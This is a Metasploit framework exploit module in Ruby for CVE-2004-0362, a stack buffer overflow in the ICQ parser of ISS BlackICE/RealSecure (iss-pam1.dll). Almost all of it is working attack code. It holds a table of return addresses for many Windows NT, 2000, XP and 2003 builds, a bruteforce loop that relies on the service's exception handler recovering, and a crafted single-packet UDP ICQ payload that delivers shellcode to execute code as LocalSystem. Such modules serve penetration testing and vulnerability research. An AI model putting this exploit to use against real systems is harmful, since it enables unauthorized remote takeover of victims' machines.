ISS PAM.dll ICQ Parser Buffer Overflow



##

# $Id: blackice_pam_icq.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = GreatRanking

    include Msf::Exploit::Remote::Udp

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'ISS PAM.dll ICQ Parser Buffer Overflow',
            'Description'    => %q{
                    This module exploits a stack buffer overflow in the ISS products that use
                the iss-pam1.dll ICQ parser (Blackice/RealSecure). Successful exploitation
                will result in arbitrary code execution as LocalSystem. This exploit
                only requires 1 UDP packet, which can be both spoofed and sent to a broadcast
                address.

                The ISS exception handler will recover the process after each overflow, giving
                us the ability to bruteforce the service and exploit it multiple times.
            },
            'Author'         => 'spoonm',
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision: 10394 $',
            'References'     =>
                [
                    ['CVE', '2004-0362'],
                    ['OSVDB', '4355'],
                    ['URL',   'http://www.eeye.com/html/Research/Advisories/AD20040318.html'],
                    ['URL',   'http://xforce.iss.net/xforce/alerts/id/166'],
                ],
            'Payload'        =>
                {
                    'Space'           => 504 -31 -4,
                    'BadChars'        => "\x00",
                    'MinNops'         => 0,
                    'MaxNops'         => 0,
                    'StackAdjustment' => -3500
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    [ 'Bruteforce',                   {  } ],
                    [ 'Bruteforce iis-pam1.dll',      { 'Targets' => 3 .. 4  } ],
                    [ 'Bruteforce NT 4.0',            { 'Targets' => 5 .. 15 } ],
                    [ 'iis-pam1.dll 3.6.06',          { 'Ret' => 0x5e0a47ef } ],
                    [ 'iis-pam1.dll 3.6.11',          { 'Ret' => 0x5e0da1db } ],
                    [ 'WinNT SP3/SP4/SP5',            { 'Ret' => 0x777e79ab } ],
                    [ 'WinNT SP4/SP5',                { 'Ret' => 0x7733b8db } ],
                    [ 'WinNT SP5/SP6 - advapi32',     { 'Ret' => 0x77dcd1cb } ],
                    [ 'WinNT SP3/SP5/SP6 - shell32',  { 'Ret' => 0x77cec080 } ],
                    [ 'WinNT SP5/SP6 - mswsock',      { 'Ret' => 0x7767ebca } ],
                    [ 'WinXP SP0/SP1 - shell32',      { 'Ret' => 0x776606af } ],
                    [ 'WinXP SP0/SP1 - atl',          { 'Ret' => 0x76b305a7 } ],
                    [ 'WinXP SP0/SP1 - atl',          { 'Ret' => 0x76e61a21 } ],
                    [ 'WinXP SP0/SP1 - ws2_32',       { 'Ret' => 0x71ab7bfb } ],
                    [ 'WinXP SP0/SP1 - mswsock',      { 'Ret' => 0x71a5403d } ],
                    [ 'Windows 2000 Pro SP4 English', { 'Ret' => 0x7c2ec68b } ],
                    [ 'Win2000 SP0 - SP4',            { 'Ret' => 0x750231e2 } ],
                    [ 'Win2000 SP2/SP3 - samlib',     { 'Ret' => 0x75159da3 } ],
                    [ 'Win2000 SP0/SP1 - activeds',   { 'Ret' => 0x77ed0beb } ],
                    [ 'Windows XP Pro SP0 English',   { 'Ret' => 0x77e3171b } ],
                    [ 'Windows XP Pro SP1 English',   { 'Ret' => 0x77dc5527 } ],
                    [ 'WinXP SP0 - SP1',              { 'Ret' => 0x71aa3a4b } ],
                    [ 'Win2003 SP0',                  { 'Ret' => 0x71bf3cc9 } ],
                ],
            'DisclosureDate' => 'Mar 18 2004',
            'DefaultTarget'  => 0))

        register_options(
            [
                Opt::RPORT(1)
            ], self.class)
    end

    def exploit
        datastore['RPORT'] = rand(65536) if rport == 1

        targs = [ target ]

        if target.name =~ /^Brute/
            if target['Targets']
                targs = []

                target['Targets'].each { |idx|
                    targs << targets[idx]
                }
            else
                targs = targets.dup

                targs.delete_at(0)
                targs.delete_at(0)
                targs.delete_at(0)
            end
        end

        targs.each { |targ|
            print_status("Trying target #{targ.name} [#{"%.8x" % targ.ret}]...")

            shellcode = payload.encoded + rand_text_english(payload_space - payload.encoded.length)
            email     = rand_text_english(19) + [targ.ret].pack('V') + shellcode

            # Hopefully this structure is correct -- ported from msf 2.  Blame me
            # (skape) if it doesn't work!
            packet    =
                # SRV_MULTI
                [5, 0, 0, 530, 0, 0, 1161044754, 0, 2].pack('vcVvvvVVc') +
                # SRV_USER_ONLINE
                [5, 0, 0, 110, 0, 0, 1161044754, 0].pack('vcVvvvVV') +
                [1161044754, 1, 0, 0, 0, 0, 0].pack('VVVVcVV') +
                # SRV_META_USER
                [5, 0, 0, 990, 0, 0, 2018915346, 0].pack('vcVvvvVV') +
                "\x00\x00\x0a" + # subcommand / success
                "\x00\x00"     + # nick length / nick
                "\x00\x00"     + # first length / first
                "\x00\x00"     + # last length / last
                [email.length].pack('v') + email +
                "\x00\x00\x00\x00\x00\x00\x00"

            print_status("Sending UDP request to #{datastore['RPORT']} (#{packet.length} bytes)")

            connect_udp(true, { 'CPORT' => 4000 })
            udp_sock.put(packet)
            disconnect_udp

            print_status("Sleeping (giving exception handler time to recover)")

            select(nil,nil,nil,5)
        }
    end

end